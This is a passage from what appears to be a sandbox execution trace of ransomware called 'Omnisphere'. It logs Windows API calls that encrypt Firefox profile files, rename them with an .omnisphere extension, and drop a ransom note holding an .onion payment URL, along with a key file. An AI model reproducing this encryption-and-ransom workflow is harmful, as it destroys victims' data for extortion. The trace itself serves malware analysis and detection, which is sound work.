pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.510] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.510] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.510] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.510] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.510] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.510] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.512] CryptDestroyKey (hKey=0x1639b28) returned 1 [0160.512] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0160.512] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x8000, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0160.512] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0160.513] GetProcessHeap () returned 0x1600000 [0160.513] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2d6) returned 0x17472b0 [0160.513] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-shm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite-shm"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-shm.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite-shm.omnisphere")) returned 1 [0160.514] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-shm.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-shm.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-shm.omnisphere.id" [0160.514] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-shm.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite-shm.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0160.517] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0160.518] CloseHandle (hObject=0x388) returned 1 [0160.518] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0160.519] CloseHandle (hObject=0x3c0) returned 1 [0160.519] SetEndOfFile (hFile=0x288) returned 1 [0160.519] FlushFileBuffers (hFile=0x288) returned 1 [0160.658] CloseHandle (hObject=0x288) returned 1 [0160.659] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-shm" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0160.659] GetProcessHeap () returned 0x1600000 [0160.659] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1747590 [0160.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0160.659] GetProcessHeap () returned 0x1600000 [0160.659] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1734238 [0160.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1734238, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0160.659] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0160.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0160.659] GetProcessHeap () returned 0x1600000 [0160.659] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726558 [0160.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726558, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0160.659] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0160.659] GetProcessHeap () returned 0x1600000 [0160.659] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1730008 [0160.659] PathCombineW (in: pszDest=0x1730008, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0160.660] GetProcessHeap () returned 0x1600000 [0160.660] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17368c0 [0160.660] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0160.660] WriteFile (in: hFile=0x288, lpBuffer=0x17368c0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x17368c0*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0160.660] CloseHandle (hObject=0x288) returned 1 [0160.660] GetProcessHeap () returned 0x1600000 [0160.660] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1747590 | out: hHeap=0x1600000) returned 1 [0160.660] GetProcessHeap () returned 0x1600000 [0160.660] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162bdd8 [0160.661] PathCombineW (in: pszDest=0x162bdd8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0160.661] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0160.661] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0160.661] CloseHandle (hObject=0x288) returned 1 [0160.661] GetProcessHeap () returned 0x1600000 [0160.661] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162bdd8 | out: hHeap=0x1600000) returned 1 [0160.661] GetProcessHeap () returned 0x1600000 [0160.662] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162bd08 | out: hHeap=0x1600000) returned 1 [0160.662] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xb8154a58, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x208638, dwReserved0=0x0, dwReserved1=0xcc, cFileName="places.sqlite-wal", cAlternateFileName="PLACES~2.SQL")) returned 1 [0160.662] GetProcessHeap () returned 0x1600000 [0160.662] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc6) returned 0x162c798 [0160.662] PathCombineW (in: pszDest=0x162c798, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="places.sqlite-wal" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-wal") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-wal" [0160.662] StrStrW (lpFirst=".omnisphere", lpSrch=".sqlite-wal") returned 0x0 [0160.662] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-wal" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite-wal"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0160.663] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=2131512) returned 1 [0160.663] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x208114, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0160.663] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0160.723] GetTickCount () returned 0x1167ecc [0160.723] GetTickCount () returned 0x1167ecc [0160.723] GetTickCount () returned 0x1167ecc [0160.723] GetTickCount () returned 0x1167ecc [0160.723] GetTickCount () returned 0x1167ecc [0160.723] GetTickCount () returned 0x1167ecc [0160.723] GetTickCount () returned 0x1167ecc [0160.723] GetTickCount () returned 0x1167ecc [0160.723] GetTickCount () returned 0x1167ecc [0160.723] GetTickCount () returned 0x1167ecc [0160.723] GetTickCount () returned 0x1167ecc [0160.723] GetTickCount () returned 0x1167ecc [0160.723] GetTickCount () returned 0x1167ecc [0160.723] GetTickCount () returned 0x1167ecc [0160.723] GetTickCount () returned 0x1167ecc [0160.723] GetTickCount () returned 0x1167ecc [0160.723] GetTickCount () returned 0x1167ecc [0160.723] GetTickCount () returned 0x1167ecc [0160.723] GetTickCount () returned 0x1167ecc [0160.723] GetTickCount () returned 0x1167ecc [0160.724] GetTickCount () returned 0x1167ecc [0160.724] GetTickCount () returned 0x1167ecc [0160.724] GetTickCount () returned 0x1167ecc [0160.724] GetTickCount () returned 0x1167ecc [0160.724] GetTickCount () returned 0x1167ecc [0160.724] GetTickCount () returned 0x1167ecc [0160.724] GetTickCount () returned 0x1167ecc [0160.724] GetTickCount () returned 0x1167ecc [0160.724] GetTickCount () returned 0x1167ecc [0160.724] GetTickCount () returned 0x1167ecc [0160.724] GetTickCount () returned 0x1167ecc [0160.724] GetTickCount () returned 0x1167ecc [0160.724] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668928) returned 1 [0160.725] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0160.725] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0160.725] CryptDestroyKey (hKey=0x1639b28) returned 1 [0160.725] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0160.725] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x208638, lpName=0x0) returned 0x3c0 [0160.725] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x208638) returned 0x4010000 [0160.948] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16688a0) returned 1 [0160.949] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639568) returned 1 [0160.949] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0160.949] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0160.950] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.950] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.950] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.950] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.950] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.950] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.950] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.950] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.950] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.950] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.950] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.950] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.950] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.950] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.950] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.950] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.950] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, 